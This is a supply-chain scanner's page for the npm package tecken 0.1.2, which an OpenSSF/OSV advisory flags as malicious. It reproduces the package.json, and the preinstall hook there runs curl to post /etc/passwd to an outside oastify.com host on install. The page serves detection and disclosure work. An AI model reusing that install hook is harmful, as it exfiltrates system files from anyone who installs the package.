registry / tecken / 0.1.2

tecken@0.1.2

takeover by dilosec

OSV Malicious Advisory

scanned 21d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-3397 confirms this npm version as malicious. The package tecken was found to contain malicious code.

Advisory

MAL-2026-3397

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in tecken (npm)

Details

The package tecken was found to contain malicious code. ## Source: ossf-package-analysis (d4e6037c07125a354ac2958e36321453a0dc6e28dcfe5f3c5749f58c302cb908) The OpenSSF Package Analysis project identified 'tecken' @ 0.1.13 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - The package executes one or more commands associated with malicious behavior.

Decision reason

One or more suspicious static signals were detected.

References

OSV advisory

Decision evidence

public snapshot

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 0 file(s), 0 B of source

Source & flagged code

2 flagged

package.jsonView file

Lines 1-14json

2 "name": "tecken",

3 "version": "0.1.2",

4 "description": "takeover by dilosec",

5 "main": "index.js",

6 "scripts": {

7 "postinstall": "node index.js",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L7

8 "test": "echo \"Error: no test specified\" && exit 1",

9 "preinstall": "/usr/bin/curl --data '@/etc/passwd' $(hostname)wuuzs7q9xh2oaoorqraciblaa1gs4is7.oastify.com"

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L9

10 },

11 "author": "",

12 "license": "ISC"

13}

Source & flagged code

2 flagged · loading source

package.jsonView file

•scripts.postinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = /usr/bin/curl --data '@/etc/passwd' $(hostname)[redacted].oastify.com

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

Findings

1 High1 Medium1 Low

HighInstall Time Lifecycle Scriptspackage.json

MediumAmbiguous Install Lifecycle Scriptpackage.json

LowScripts Present